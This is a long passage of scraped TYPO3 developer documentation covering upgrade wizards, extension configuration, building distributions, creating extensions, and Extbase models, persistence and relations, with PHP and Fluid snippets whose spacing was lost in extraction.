Wizard identifier
container
container_upgradeColumnPositions
news_events
newsEvents_migrateEvents
bootstrap_package
bootstrapPackage_addNewDefaultTypes
Marking wizard as done
As soon as the wizard has completely finished, for example, it detected that no
upgrade is necessary anymore, the wizard is marked as done and will not be
checked anymore.
Wizards are listed in the backend module Admin Tools > Upgrade and
the card Upgrade Wizard. The registered wizard should be shown
there, as long as it is not done.
It is also possible to execute the wizard from the command line:
Some existing wizards use the convention of using the fully-qualified class
name as identifier. You may have to quote the backslashes in the shell,
for example:
On migration of existing installations using plugins with switchable controller
actions all plugins have to be changed to a new type. It is recommended to
also change them from being defined via field list-type to field CType.
The following upgrade wizard can be run on any installation which still has
plugins of the outdated type and configuration. It is then not needed anymore
to upgrade the plugins manually:
There are several possibilities to make your extension configurable. From the
various options described here each differs in:
the scope to what the configuration applies (extension, pages,
plugin)
the access level required to make the change (editor, admin)
TypoScript and constants
You can define configuration options using TypoScript.
These options can be changed via TypoScript constants and setup in the backend.
The changes apply to the current page and all subpages.
Extension configuration is defined in the file ext_conf_template.txt
using TypoScript constant syntax.
The configuration options you define in this file can be changed in the
backend Admin Tools > Settings > Extension Configuration and is
stored in config/system/settings.php.
Use this file for general options that should be globally applied to
the extension.
FlexForms define
forms that can be used by editors to configure plugins and content elements.
In Extbase plugins, settings made in the FlexForm of a plugin
override settings made in the TypoScript configuration of that plugin.
If you want to access a setting via FlexForm in Extbase from your controller via
$this->settings, the name of the setting must begin with settings,
directly followed by a dot (.).
Some extensions offer configuration in the format YAML,
see YAML.
There is a YamlFileLoader which can be used to load YAML
files.
Creating a new distribution
This chapter describes the main steps in creating a new distribution.
Concept of distributions
The distributions are full TYPO3 CMS websites that only need to be unpacked.
They offer a simple and quick introduction to the use of the TYPO3 CMS. The
best known distribution is the
typo3/cms-introduction
.
Distributions are easiest to install via the Extension Manager (EM)
under "Get preconfigured distribution".
A distribution is just an extension enriched with some further data that is
loaded or executed upon installing that extension. A distribution takes
care of the following parts:
Deliver initial database data
Deliver fileadmin files
Deliver configuration for a package
Hook into the process after saving configuration to
trigger actions dependent on configuration values
Deliver dependent extensions if needed (e.g., customized versions or
extensions not available through TER)
Kickstarting the Distribution
A distribution is a special kind of extension. The first step
is thus to create a new extension.
Start by registering an extension key,
which will be the unique identifier of your distribution.
Next create the extension declaration file as usual,
except for the "category" property which must be set to
distribution.
Configuring the Distribution Display in the EM
You should provide two preview images for your distribution. Provide
a small 220x150 pixels for the list in the Extension Manager as
Resources/Public/Images/Distribution.png and a larger 300x400 pixels
welcome image as Resources/Public/Images/DistributionWelcome.png.
The welcome image is displayed in the distribution detail view inside the Extension Manager.
Fileadmin Files
Create the following folder structure inside your extension:
Initialisation
Initialisation/Files
All the files inside that second folder will be copied to
fileadmin/<extkey> during installation, where "extkey" is
the extension key of your distribution.
A good strategy for files (as followed by the Introduction Package) is to construct
the distribution so that it can be uninstalled and removed from the file system
after the initial import.
To achieve that, when creating content for your distribution, all your
content related files (assets) should be located within fileadmin/<extkey>
in the first place, and content elements or other records should reference
these files via FAL. A good export preset will then contain the content
related assets within your dump.
If there are files not directly referenced in tables selected for export
(for example ext:form .yml form configurations), you can locate them
within fileadmin/<extkey>, too. Only those need to be copied to
Initialisation/Files - all other files referenced in database rows
will be within your export dump.
Note that you should not put your website configuration
(TypoScript files, JavaScript, CSS, logos, etc.) in fileadmin/,
which is intended for editors only, but in a separate extension.
In the case of the Introduction Package, the configuration is located in the
bk2k/bootstrap-package
extension, and the Introduction Package depends on it. In this way,
the Introduction Package provides only the database dump and asset files which
results in only content-related files being in fileadmin/,
which are provided by the Introduction Package.
Site configuration
In order to import a site configuration upon installation, supply a site config file
to Initialisation/Site/<SITE_IDENTIFIER>/config.yaml.
The database data is delivered as TYPO3 CMS export file under Initialisation/data.xml.
Generate this file by exporting your whole TYPO3 instance
from the root of the page tree using the export module:
Page tree
Open the export module by right-clicking on the root of the page tree and
selecting More Options > Export.
Export module: Configuration
Select the tables to be included in the export: It should include all tables
except
be_users and
sys_log.
Relations to all tables should be included, whereas static relations should
not. Static relations are only useful if the related records already exist
in the target TYPO3 instance. This is not the case with distributions
that initialize the target TYPO3 instance.
Fine-tune the export configuration by evaluating the
list of records at the bottom of the page under "Inside pagetree":
This is a precalculation of the records to be included in the export.
Do not forget to click Update before proceeding to the next tab.
Export module: Advanced Options
Check Save files in extra folder beside the export file to save
files (e.g. images), referenced in database data, in a separate folder
instead of directly in the export file .
Export module: File & Preset
Insert meaningful metadata under Meta data.
The file name must be "data" and the file format must be set to "XML".
To reuse your export configuration during ongoing distribution development,
you should now save it as a preset. Choose a descriptive title and click
the Save button. A record will be created in the
tx_impexp_presets table.
Currently, after saving the export configuration, you jump to the first tab,
so navigate back to the File & Preset tab.
To finish the export, click the Save to filename button. Copy
the export file from /fileadmin/user_upload/_temp_/importtexport/data.xml
to the distribution folder under Initialisation/data.xml.
If referenced files were exported, copy the
fileadmin/user_upload/_temp_/importtexport/data.xml.files/ folder
containing the files with hashed filenames to the distribution folder
under Initialisation/data.xml.files/.
Note
Any extensions that are not required by the distribution should be deactivated
before the export task is executed.
Note
By default, any file that has an entry in the
sys_file table will be
exported, including files in the fileadmin/user_upload/_temp/ path where
previous exports were stored that you do not want included in the export.
Therefore, delete any temporary files that you do not want to export from the
fileadmin. Use the Filelist module to delete these files.
If you delete them directly from the file system, the corresponding entries in
sys_file will not be deleted and an error will occur during export,
which must then be corrected directly by manually deleting the database entries.
Note
A TYPO3 issue prevents loading data.xml larger than
10MB. In this case the only option left is going with data.t3d
Warning
Do not include backend users in the dump! If you do, you end up
having your user on other systems who loaded your distribution. Give
the export a special check in this area. Having your backend user
in the dump is most likely a security vulnerability of your distribution
if that distribution is uploaded to the public.
See also
The Introduction Package comes with a maintained export preset within its
database export
which can be useful as a kick start. Just import that preset into your
installation and adapt to the needs of your distribution. The import works
similar to the export.
The export preset is configured as:
Export database data as data.xml
Export only referenced FAL file relations into data.xml.files directory,
do not just export all files from fileadmin
Do not export
be_users (!)
Do not export some other tables like
sys_log and friends
Distribution Configuration
A distribution is technically handled as an extension. Therefore you
can make use of all configuration options as needed.
After installing the extension, the event AfterPackageActivationEvent is
dispatched. You may use this to alter your website configuration (e.g. color
scheme) on the fly.
Test Your Distribution
To test your distribution, copy your extension to an empty
TYPO3 CMS installation and try to install it from the Extension
Manager.
To test a distribution locally without uploading to TER, just install
a blank TYPO3 (last step in installer "Just get me to the Backend"),
then go to Extension Manager, select "Get extensions" once to let the
Extension Manager initialize the extension list (this is needed if your
distribution has dependencies to other extensions, for instance the Introduction Package
depends on the Bootstrap Package). Next, copy or move the distribution extension
to typo3conf/ext, it will then show up in Extension Manager default
tab "Installed Extensions".
Install the distribution extension from there. The Extension Manager will then resolve
TER dependencies, load the database dump and handle the file operations.
Under the hood, this does the same as later installing the distribution
via "Get preconfigured distribution", when it has been uploaded or updated in
TER, with the only difference that you can provide and test the distribution
locally without uploading to TER first.
Warning
It is not enough to clean all files and the page tree if you want to
try again to install your distribution. Indeed, TYPO3 CMS remembers that it
previously imported your distribution and will skip any known files and
the database import. Make sure to clean the table "sys_registry" if you want
to work around that, or, even better, install a new blank TYPO3 to test again.
Tip: Optimize creating the empty TYPO3 instance with a script, you probably
end up testing the import a couple of times until you are satisfied with the result.
Creating a new extension
First choose a unique Composer name
for your extension. Additionally, an extension key is required.
If you plan to ever publish your extension in the TYPO3 Extension Repository
(TER), register an extension key.
Starting with TYPO3 v11 it is no longer possible to install extensions in TYPO3
without using Composer in Composer-based installations.
However during development it is necessary to test your extension locally
before publishing it. Place the extension directory into the directory called,
packages inside of the TYPO3 project root directory.
Then edit your projects composer.json (The one in the TYPO3 root
directory, not the one in the extension) and add the following repository:
After that you can install your extension via Composer:
composer req my-vendor/my-extension:"@dev"
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Hint
Starting with TYPO3 v11.5 all extensions installed via Composer are
automatically activated when they are installed.
Hint
For Classic mode installations you can put the extension directly in the directory
typo3conf/ext and then activate it in
Admin Tools > Extensions.
Custom Extension Repository
Note
This section is only relevant for Classic mode installations,
as Composer Mode installations use the download functionality
of Composer.
TYPO3 provides functionality that connects to a different repository type
than the "official" TER (TYPO3 Extension Repository) to download third-party extensions.
The API is called "Extension Remotes". These remotes are adapters that allow
fetching a list of extensions via the
ListableRemoteInterface or downloading
an extension via the
ExtensionDownloaderRemoteInterface.
It is possible to add new remotes, disable registered remotes
or change the default remote.
Using
default: true, "myremote" will be used as the default remote.
Setting
default: true only works if the defined service
implements
ListableRemoteInterface.
Please note that
\Vendor\SitePackage\Remote\MyRemote must implement
ExtensionDownloaderRemoteInterface to be registered as remote.
To disable an already registered remote,
enabled: false can be set.
If you plan to upload your extension to the TYPO3 Extension Repository (TER),
you should first consider adding documentation to your extension. Documentation
helps users and administrators to install, configure and use your extension,
and decision makers to get a quick overview without having to install the
extension.
The TYPO3 documentation platform https://docs.typo3.org centralizes documentation
for each project. It supports different types of documentation:
The full documentation, stored in EXT:{extkey}/Documentation/.
The single file documentation, such as a simple README file stored in
EXT:{extkey}/README.rst.
We recommend the first approach for the following reasons:
Output formats: Full documentations can be automatically rendered as HTML
or TYPO3-branded PDF.
Cross-references: It is easy to cross-reference to other chapters and
sections of other manuals (either TYPO3 references or extension manuals).
The links are automatically updated when pages or sections are moved.
Many content elements: The Sphinx template used for rendering the full
documentation provides many useful content elements to improve the structure
and look of your documentation.
For more details on both approaches see the File structure
page and for more information on writing TYPO3 documentation in general, see the
Writing documentation guide.
Extbase: Extension framework in TYPO3
Extbase is an extension framework to create TYPO3 frontend plugins and TYPO3
backend modules. Extbase can be used to develop extensions but it does not
have to be used.
Extbase follows principles of Domain-Driven Design (DDD),
enabling developers to build well-structured domain models. By leveraging
object-oriented programming concepts and dependency injection, Extbase
promotes maintainability and testability.
Integration with Fluid
Extbase integrates seamlessly with Fluid,
TYPO3's templating engine, for flexible rendering of frontend content.
Database Interaction
Extbase offers a repository pattern and automatic data mapping to interact with
the database.
Considerations
While Extbase is a supported and widely used framework within TYPO3, developers
should evaluate whether it fits their specific project needs, as performance
considerations may lead to different implementation strategies. For practical
guidance, refer to extension tutorials, which
demonstrate best practices for using Extbase in various scenarios.
Extbase can be and is often used in combination with the Fluid templating engine,
but Fluid can also be used without Extbase. Backend modules and
plugins can be implemented using Extbase, but can also be done with TYPO3 Core
native functionality.
Extbase is not a prerequisite for extension development. In most cases,
using Extbase means writing less code, but the performance may suffer.
Key parts of Extbase are the Object Relational Model (ORM), automatic validation
and its "Property Mapper".
When Extbase was released, it was introduced as the modern way to program
extensions and the "old" way (pibase) was propagated as outdated. When we look
at this today, it is not entirely true: Extbase is a good fit for some specific
types of extensions and there are always alternatives. For some use cases it
is not a good fit at all and the extension can and should be developed without
Extbase.
Thus, many things, such as backend modules or plugins can be done "the Extbase
way" or "the Core way". This is a design decision, the extension developer must
make for the specific use case.
Attention
Extbase is one of many options in the "toolbox" of TYPO3 extension development.
TYPO3 is flexible, often provides several approaches for one thing and it is
up to the extension developer to make an informed choice.
Extbase or not?
When to use Extbase and when to use other methods?
As a rule of thumb (which should not be blindly followed but gives some
guidance):
are a beginner or do not have much experience with TYPO3
want to create a "classic" Extbase extension with plugins and (possibly)
backend modules (as created with the extension_builder)
Do not use Extbase
if performance might be an issue with the "classic" Extbase approach
if there is no benefit from using the Extbase approach
if you are writing an extension where Extbase does not add any or much value,
e.g. an extension consisting only of Backend modules, a site package, a
collection of content elements, an Extension which is used as a command line
tool.
There is also the possibility to use a "mixed" approach, e.g. use Extbase
controllers, but do not use the persistence of Extbase. Use TYPO3
QueryBuilder (which is based on doctrine/dbal) instead.
With Extbase persistence or with other ORM approaches, you may run into
performance problems. The database tables are mapped to "Model" objects which
are acquired via "Repository" classes. This often means more is fetched, mapped
and allocated than necessary. Especially if there are large tables and/or many
relations, this may cause performance problems. Some can be circumvented by
using "lazy initialization" which is supported within Extbase.
However, if you use the "mixed" approach, you will not get some of the
advantages of Extbase and have to write more code yourself.
The domain layer is where you define the core logic and structure of your
application — things like entities, value objects, repositories, and
validators.
The Classes/Domain/ folder contains the domain logic of your Extbase
extension. This is where you model real-world concepts in your application
and define how they behave.
While Domain-Driven Design (DDD) suggests putting business-related services in
the Domain layer, in most TYPO3 extensions you will actually see service
classes placed in: Classes/Service/. It is also possible to put them
in Classes/Domain/Service/.
Extbase automatically detects which model the repository belongs to
based on the naming convention <ModelName>Repository. No registration
is necessary.
The PHPDoc @extends Repository<Paper> annotation helps static
analysis tools (like PHPStan or Psalm) and IDEs with type inference and
autocompletion.
By default a model is persisted to a database table with the following
naming scheme: tx_[extension]_domain_model_[model].php. To create
and define the database table use TCA configuration:
Extbase does not call the constructor when thawing objects. Therefore you
cannot set default values or initialize properties in the constructor.
This includes properties that are defined via constructor parameter
promotion. See also Default values for model properties.
It is possible to define models that are not persisted to the database. However in
the most common use cases you want to save your model to the database and load
it from there. See Persistence: Saving Extbase models to the database.
Properties of an Extbase model
The properties of a model can be defined either as public
class properties:
Class T3docs\BlogExample\Domain\Model\Tag
finalclassTagextendsAbstractValueObjectimplements \Stringable{
public int $priority = 0;
}
A public getter takes precedence over a public property. Getters have the
advantage that you can make the properties themselves protected and decide
which ones should be mutable.
Note
Making model's properties
private does not work in Extbase models: The parent
classes need to access the models properties directly. If your model must
not be extended you can mark it as
final and thereby prevent
other developers from extending your model.
It is also possible to have getters for
properties that are not persisted and get created on the fly:
One disadvantage of using additional getters is that properties that are only
defined as getters do not get displayed in the debug output in Fluid, they do
however get displayed when explicitly called:
Debugging different kind of properties
Does not display "combinedString":
<f:debug>{post.info}</f:debug>
But it is there:
<f:debug>{post.info.combinedString}</f:debug>
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Typed vs. untyped properties in Extbase models
In Extbase, you can define model properties using either PHP native type
declarations or traditional @var annotations. Typed properties are
preferred, untyped properties are still supported for backward compatibility.
The example below demonstrates a basic model with both a typed and an untyped
property:
$title is a typed property, using PHP’s type declaration. This is the
recommended approach as it enforces type safety and improves code
readability.
$published is an untyped property, defined only with a docblock. This
remains valid and is often used in older codebases.
For persisted properties (those stored in the database), ensure that the
property type matches the corresponding
TCA Field type
to avoid data mapping errors.
If a property needs special setup (for example, using new ObjectStorage()),
you can put that logic into a method called initializeObject(). Extbase
calls this method automatically after loading the object:
Since the constructor is never called during hydration, such properties remain
uninitialized and can cause errors like:
Error: Typed property MyVendorMyExtensionDomainModelBlog::$title
must not be accessed before initialization
To prevent this, always initialize properties either where they are defined or
inside the initializeObject() method.
TCA default values
If the TCA configuration of a field defines a
default value, that value is applied afterinitializeObject() has been called, and before data from the database is
mapped to the object.
In Extbase models, property types can be defined either through a
native PHP type declaration or a @var annotation for untyped properties.
For persisted properties, it is important that the PHP property type and the
matching TCA field configuration are compatible — see the list below for
commonly used property types and their mappings.
If the primitive PHP type is nullable (?string, ?int ... ) the TCA field
must also be nullable. A checkbox will
appear in the backend, which deactivates the field by default. If the field is
deactivated it is saved as
NULL in the database.
string properties in Extbase
Extbase properties of the built-in primitive type
string are commonly
used with TCA fields of type
Input
(max 255 chars) or Text areas & RTE.
If fields are editable by frontend users, you should use
Validators
to prohibit values being input that are not allowed by their corresponding
TCA fields / database columns. For virtual fields
(passthrough),
you must manually define the database schema in ext_tables.sql.
When using a nullable primitive type (
?string) in your Extbase
model, you must set the field to nullable in the TCA by setting
nullable to true.
int properties in Extbase
Extbase properties of the built-in primitive type
int are commonly used
with TCA fields of type
Number
(with format integer) and
Select fields that
store integer values — for example, simple option fields where the value is a
numeric key (with no relation to an enum or database record).
These are typically used for ratings, importance levels, custom statuses,
or small, fixed sets of choices.
The
int type is commonly used for simple numeric values, but
it should not be used in the following cases:
Date and time fields: For fields configured with
datetime,
use
\DateTimeInterface instead of
int to benefit from proper
time handling and formatting in Extbase and Fluid.
Boolean values: For fields using
check, use the
bool type instead of
int to reflect the binary nature (0/1) of the value more clearly. See
bool properties.
Multi-value selections: If a field uses
selectMultipleSideBySide
or similar to store multiple selections,
use
array or
ObjectStorage of related objects.
Enums: For fixed sets of numeric values, avoid using
int
and instead use an
enum to ensure type safety and
better readability in your model and templates.
See Enumerations.
Relations to other database tables: Fields representing foreign keys
(for example select with foreign_table,
IRRE / inline,
or group)
should not be type
int, but rather
ObjectStorage <YourModel> or
?YourModel depending on
whether the relation is singular or plural. See
Relations between Extbase models.
float properties in Extbase
Properties of built-in primitive type
float (also known as
double) are used to store decimal values such as prices, ratings, weights,
or coordinates.
In TYPO3 v13, these are typically used with the
Number TCA field type.
To accept and display decimal numbers in the backend form, the
format option must be set to decimal.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Model;
useTYPO3\CMS\Extbase\DomainObject\AbstractEntity;
classDateExampleextendsAbstractEntity{
/**
* A datetime stored in an integer field
*/public ?\DateTime $datetimeInt = null;
/**
* A datetime stored in a datetime field
*/public ?\DateTime $datetimeDatetime = null;
}
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Use
\DateTimeImmutable if you want the date to be
immutable.
Consistent DateTime handling across Extbase, FormEngine, and DataHandler was introduced.
Enabled via the feature flag
extbase.consistentDateTimeHandling.
With the feature flag
extbase.consistentDateTimeHandling, Extbase aligns
its DateTime mapping logic with the behavior of FormEngine and DataHandler.
The following changes apply when the feature is enabled:
Timezone offsets in
\DateTime objects are preserved correctly during persistence.
DateTime instances for integer-based time fields use named timezones (e.g. Europe/Berlin)
rather than offset-only values (+01:00).
Time-only fields (format=time, format=timesec) are interpreted as seconds since midnight,
mapped to 1970-01-01 in local time, not as UNIX timestamps.
00:00:00 is treated as a valid midnight value even for nullable fields.
All time values are initialized with 1970-01-01 rather than the current day,
improving stability across contexts.
When using Extbase Controllers to fetch Domain Models containing
properties declared with the
\TYPO3\CMS\Core\Country\Country type,
these models can be used with their getters, and passed along to Fluid
templates.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Controller;
useMyVendor\MyExtension\Domain\Model\Tea;
usePsr\Http\Message\ResponseInterface;
useTYPO3\CMS\Core\Country\CountryProvider;
useTYPO3\CMS\Extbase\Mvc\Controller\ActionController;
classTeaSupplyControllerextendsActionController{
// ...publicfunction__construct(
private readonly CountryProvider $countryProvider,
private readonly TeaRepository $teaRepository,
){}
publicfunctionshowCountryFormAction(Tea $tea): ResponseInterface{
// Do something in PHP, using the Country APIif ($tea->getCountryOfOrigin()->getAlpha2IsoCode() == 'DE') {
// ...
}
$this->view->assign('tea', $tea);
// You can access the `CountryProvider` API for additional country-related// operations, too (ideally use Dependency Injection for this):$this->view->assign('countries', $this->countryProvider->getAll());
return$this->htmlResponse();
}
publicfunctionchangeCountryOfOriginAction(Tea $tea): ResponseInterface{
$this->teaRepository->update($tea);
$this->addFlashMessage('Country of origin was changed');
return$this->redirect('showCountryForm');
}
}
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See chapter Country API
for more information on how to use countries in PHP.
Keep in mind that Extbase does not automatically validate country TCA
definitions for properties.
This means that if you restrict allowed countries using
filter.onlyCountries
in the TCA, you must also enforce the same constraint in your frontend
logic.
<p>Current value for the country: {model.country.flag}
<spantitle="{f:translate(key: model.country.localizedOfficialNameLabel)}">
{model.country.alpha2IsoCode}
</span></p><p>Change the country here:</p><f:formaction="changeCountryOfOrigin"objectName="tea"object="{tea}"><f:form.countrySelectname="country"property="countryOfOrigin"prioritizedCountries="{0: 'DE', 1: 'AT', 2: 'CH'}"
/></f:form>
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You can access any
getXXX() methods from the
Country API
using Fluid syntax such
{model.country.XXX} accessors.
Native PHP enumerations can be used for properties where the database field has a
set of values which can be represented by a backed enum. A property
with an enum type should be used with a TCA field that only allows specific
values to be stored in the database, for example Select fields
and Radio buttons.
An enum can be used for a property in the model:
EXT:my_extension/Classes/Domain/Model/Paper.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Model;
useMyVendor\MyExtension\Enum\Status;
useTYPO3\CMS\Extbase\DomainObject\AbstractEntity;
classPaperextendsAbstractEntity{
protected Status $status = Status::DRAFT;
// ... more properties
}
An enum case can be used in Fluid by calling the enum built-in properties
name and value or by using getters. Methods with a different
naming scheme cannot be used directly in Fluid.
You can use the Constant ViewHelper <f:constant>
to load a specific enum case into a variable to make comparisons or to
create selectors.
Union types of Extbase model properties
Union types can be used in properties of an entity, for example:
This is especially useful for lazy-loaded relations where the property type is
ChildEntity|\TYPO3\CMS\Extbase\Persistence\Generic\LazyLoadingProxy.
There is something important to understand about how Extbase detects union
types when it comes to property mapping, that is when a database row is
mapped onto an object. In this situation Extbase
needs to know the specific target type - no union, no intersection, just one
type. In order to do the mapping, Extbase uses the first declared type as a
primary type.
In the example above,
string is the primary type.
int|string would result
in
int as the primary type.
There is one important thing to note and one exception to this rule. First of
all,
null is not considered a type.
null|string results in the
primary type
string which is nullable.
null|string|int also results in the primary type
string. In fact,
null means that all other types are nullable.
null|string|int
boils down to
?string or
?int.
Secondly,
LazyLoadingProxy is never detected as a primary type because it
is just a proxy and, once loaded, not the actual target type.
Extbase supports this and detects
ChildEntity as the primary type,
although
LazyLoadingProxy is the first item in the list. However, it is
recommended to place the actual type first for consistency reasons:
ChildEntity|LazyLoadingProxy.
A final word on
\TYPO3\CMS\Extbase\Persistence\Generic\LazyObjectStorage :
it is a subclass of
\TYPO3\CMS\Extbase\Persistence\ObjectStorage ,
therefore the following code works and has always worked:
Persistence: Saving Extbase models to the database
It is possible to define models that are not persisted to the database. However, in
the most common use cases you will want to save your model to the database and load
it from there. If you want to extend an existing model you can also follow the
steps on this page. See also Tutorial: Extending an Extbase model.
The SQL structure for the database needs to be defined in the file
EXT:{ext_key}/ext_tables.sql. An Extbase model requires
a valid TCA for the table that should be used as a base for the model.
Therefore you have to create a TCA definition in file
EXT:{ext_key}/Configuration/TCA/tx_{extkey}_domain_model_{mymodel}.php.
It is recommended to stick to the following naming scheme for the table:
Use arbitrary database tables with an Extbase model
It is possible to use tables that do not convey to the naming scheme mentioned
in the last section. In this case you have to define the connection between
the database table and the file
EXT:{ext_key}/Configuration/Extbase/Persistence/Classes.php.
In the following example, the table
fe_users provided by the system
extension frontend is used as persistence table for the model
Administrator. Additionally the table
fe_groups is used to persist
the model
FrontendUserGroup.
The key
recordType makes sure that the defined model is only used if the
type of the record is set to
\FriendsOfTYPO3\BlogExample\Domain\Model\Administrator. This way the
class will only be used for administrators but not plain frontend users.
The array stored in
properties to match properties to database field
names if the names do not match.
Record types and persistence
It is possible to use different models for the same database table.
A common use case are related domain objects that share common features and
should be handled by hierarchical model classes.
In this case the type of the model is stored in a field in the table, commonly
in a field called
record_type. This field is then registered as
type field in the
ctrl section of the TCA array:
It is then possible to have a general repository,
SomethingRepository
which returns both SubClass1 and SubClass2 objects depending on the value of
the
record_type field. This way related domain objects can as one
in some contexts.
Create a custom model for a Core table
This example adds a custom model for the
tt_content table. Three steps
are required:
Create a model
In this example, we assume that we need the two fields
header and
bodytext, so only these two fields are available in the
model class.
Extbase supports different types of hierarchical relationships
between domain objects.
All relationships can be defined unidirectional or multidimensional in the model.
On the side of the relationship that can only have one counterpart, you must
decide whether it is possible to have no relationship (allow null) or not.
Nullable relations
There are two ways to allow
null for a property in PHP:
Mark the type declaration as nullable by prefixing the type name with a
question mark:
Example for a nullable property
protected ?Person $secondAuthor = null;
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Use a union type:
Example for a union type of null and Person
protected Person|null $secondAuthor = null;
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Both declarations have the same meaning.
1:1-relationship
A blog post can have, in our case, exactly one additional info attached to it.
The info always belongs to exactly one blog post. If the blog post gets deleted,
the info does get related.
A blog can have multiple posts in it. If a blog is deleted all of its posts
should be deleted. However a blog might get displayed without displaying the
posts therefore we load the posts of a blog lazily:
Class T3docs\BlogExample\Domain\Model\Blog
useTYPO3\CMS\Extbase\Persistence\ObjectStorage;
classBlogextendsAbstractEntity{
/**
* @var ?ObjectStorage<Post>
*/public ?ObjectStorage $posts = null;
/**
* Adds a post to this blog
*/publicfunctionaddPost(Post $post): void{
$this->posts?->attach($post);
}
/**
* Remove a post from this blog
*/publicfunctionremovePost(Post $postToRemove): void{
$this->posts?->detach($postToRemove);
}
/**
* Returns all posts in this blog
*
* @return ObjectStorage<Post>
*/publicfunctiongetPosts(): ObjectStorage{
return$this->posts;
}
/**
* @param ObjectStorage<Post> $posts
*/publicfunctionsetPosts(ObjectStorage $posts): void{
$this->posts = $posts;
}
}
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Note
Note the subtle differences here. The methods
setPosts() and
getPosts() refer simultaneously to all blog posts.
They expect and hence provide an
ObjectStorage object.
The methods
addPost() and
removePost() refer to a single
post object that is added to the list or removed from.
Attention
It is possible to get an array of objects from an
ObjectStorage
by calling
$this->posts->toArray(). However doing so and looping
the resulting array might cause performance problems.
Each post belongs to exactly one blog, of course a blog does not get deleted
when one of its posts gets deleted.
A post can also have multiple comments and each comment belongs to exactly
one blog. However we never display a comment without its post therefore we do
not need to store information about the post in the comment's model: The
relationship is unidirectional.
The model of the comment has no property to get the blog post in this case.
n:1-relationships
n:1-relationships are the same like 1:n-relationsships but from the
perspective of the object:
Each post has exactly one main author but an author can write several blog
posts or none at all. He can also be a second author and no main author.
EXT:blog_example/Classes/Domain/Model/Post.php
classPostextendsAbstractEntity{
/**
* @var Person
*/protected Person $author;
protected Person|null $secondAuthor;
}
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Once more the model of the author does not have a property containing the
authors posts. If you would want to get all posts of an author you would have
to make a query in the PostRepository taking one or both relationships (first
author, second author) into account.
m:n-relationship
A blog post can have multiple categories, each category can belong to
multiple blog posts.
By default, Extbase loads all child objects with the parent object (so for
example, all posts of a blog). This behavior is called eager loading.
The annotation
@TYPO3\CMS\Extbase\Annotation\ORM\Lazy causes Extbase to
load and build the objects only when they
are actually needed (lazy loading). This can lead to a significant
increase in performance.
On cascade remove
The annotation
@TYPO3\CMS\Extbase\Annotation\ORM\Cascade("remove") has
the effect that, if a blog is deleted, its posts will also be deleted
immediately. Extbase usually leaves all child objects' persistence unchanged.
Besides these two, there are a few more annotations available, which will be used
in other contexts. For the complete list of all Extbase
supported annotations, see the chapter Annotations in Extbase.
Hydrating / Thawing objects of Extbase models
Hydrating (the term originates from doctrine/orm), or in Extbase terms thawing,
is the act of creating an object from a given database row. The responsible
class involved is the
\TYPO3\CMS\Extbase\Persistence\Generic\Mapper\DataMapper .
During the process of hydrating, the
DataMapper creates objects to map
the raw database data onto.
Before diving into the framework internals, let us take a look at models from
the user's perspective.
Creating model objects with constructor arguments
Imagine you have a table
tx_extension_domain_codesnippets_blog and a
corresponding model or entity (entity is used as a synonym here)
\MyVendor\MyExtension\Domain\Model\Blog.
Now, also imagine there is a domain rule which states, that all blogs must have
a title. This rule can easily be followed by letting the blog class have a
constructor with a required argument
string $title.
EXT:my_extension/Classes/Domain/Model/Blog.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\Domain\Model;
useTYPO3\CMS\Extbase\DomainObject\AbstractEntity;
useTYPO3\CMS\Extbase\Persistence\ObjectStorage;
classBlogextendsAbstractEntity{
protected ObjectStorage $posts;
publicfunction__construct(protected string $title){
// Property "posts" is not initialized on thawing / fetching from database!!// Must be initialized in initializeObject()!!$this->posts = new ObjectStorage();
}
}
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This example also shows how the posts property is initialized. It is done in
the constructor because PHP does not allow setting a default value that is of
type object.
Hydrating objects with constructor arguments
Whenever the user creates new blog objects in extension code, the aforementioned
domain rule is followed. It is also possible to work on the
posts
ObjectStorage without further initialization.
new Blog('title') is
all one need to create a blog object with a valid state.
What happens in the
DataMapper however, is a totally different thing.
When hydrating an object, the
DataMapper cannot follow any domain rules.
Its only job is to map the raw database values onto a
Blog instance. The
DataMapper could of course detect constructor arguments and try to guess
which argument corresponds to what property, but only if there is an easy
mapping, that means, if the constructor takes the argument
string $title
and updates the property title with it.
To avoid possible errors due to guessing, the
DataMapper simply ignores
the constructor at all. It does so with the help of the library
doctrine/instantiator.
But there is more to all this.
Initializing objects
Have a look at the
$posts property in the example above. If the
DataMapper ignores the constructor, that property is in an invalid state,
that means, uninitialized.
To address this problem and possible others, the
DataMapper will call the
method
initializeObject(): void on models, if it exists.
This example demonstrates how Extbase expects the user to set up their models.
If the method
initializeObject() is used for initialization logic that
needs to be triggered on initial creation and on hydration. Please mind
that
__construct()should call
initializeObject().
If there are no domain rules to follow, the recommended way to set up a model
would then still be to define a
__construct() and
initializeObject() method like this:
Some few more words on mutators (setter, adder, etc.). One might think that
DataMapper uses mutators during object hydration but it does not.
Mutators are the only way for the user (developer) to implement business rules
besides using the constructor.
The
DataMapper uses the internal method
AbstractDomainObject::_setProperty() to update object properties. This
looks a bit dirty and is a way around all business rules but that is what the
DataMapper needs in order to leave the mutators to the users.
Warning
While the
DataMapper does not use any mutators, other parts of
Extbase do. Both, validation and property
mapping, either use existing mutators or gather type information from them.
Property visibility
One important thing to know is that Extbase needs entity properties to be
protected or public. As written in the former paragraph,
AbstractDomainObject::_setProperty() is used to bypass setters.
However,
AbstractDomainObject is not able to access private properties of
child classes, hence the need to have protected or public properties.
Dependency injection
Without digging too deep into dependency injection
the following statements have to be made:
Extbase expects entities to be so-called prototypes, that means classes that
do have a different state per instance.
DataMapperdoes not use dependency injection for the creation of
entities, that means it does not query the object container. This also
means, that dependency injection is not possible in entities.
If you think that your entities need to use/access services, you need to find
other ways to implement it.
Using an event when a object is thawed
The PSR-14 event AfterObjectThawedEvent is available to modify values
when creating domain objects.
Localization of Extbase models
Identifiers in localized models
Domain models have a main identifier
uid and an additional property
_localizedUid.
Depending on whether the
languageOverlayMode mode is enabled (
true or
'hideNonTranslated') or disabled (
false),
the identifier contains different values.
When
languageOverlayMode is enabled, then the
uid
property contains the
uid value of the default language record,
the
uid of the translated record is kept in the
_localizedUid.
Context
Record in language 0
Translated record
Database
uid:2
uid:11, l10n_parent:2
Domain object values with languageOverlayMode enabled
uid:2, _localizedUid:2
uid:2, _localizedUid:11
Domain object values with languageOverlayMode disabled
All Extbase repositories inherit from
\TYPO3\CMS\Extbase\Persistence\Repository .
